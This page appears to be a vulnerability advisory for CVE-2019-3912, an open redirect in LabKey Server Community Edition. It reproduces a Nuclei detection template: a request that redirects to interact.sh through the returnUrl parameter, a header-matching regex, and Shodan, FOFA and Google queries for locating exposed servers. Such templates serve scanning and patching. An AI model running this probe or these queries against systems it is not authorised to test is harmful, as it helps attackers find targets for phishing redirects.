CVE-2019-3912: LabKey Server Community Edition <18.3.0 - Open Redirect

2025-08-01 LabKey Server Community Edition PoC Public

Description

LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2019-3912

info:
  name: LabKey Server Community Edition <18.3.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: LabKey Server Community Edition before 18.3.0-61806.763 contains an open redirect vulnerability via the /__r1/ returnURL parameter, which allows an attacker to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3912
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3912
    cwe-id: CWE-601
    epss-score: 0.04825
    epss-percentile: 0.91523
    cpe: cpe:2.3:a:labkey:labkey_server:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: labkey
    product: labkey_server
    shodan-query:
      - 'Server: Labkey'
      - 'http.title:"sign in: /home"'
      - "server: labkey"
    fofa-query: 'title="sign in: /home"'
    google-query: 'intitle:"sign in: /home"'
  tags: cve2019,cve,tenable,redirect,labkey,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://interact.sh'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022069e0cecbf361712d7775bf5a6acfe3060d37293b7f5f8db098c86ad51e483c51022100f612312d349567e2fa526263f9ddf2056b9b7a3193fc8b58e20fe0cb6020f448:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3912.yaml

References

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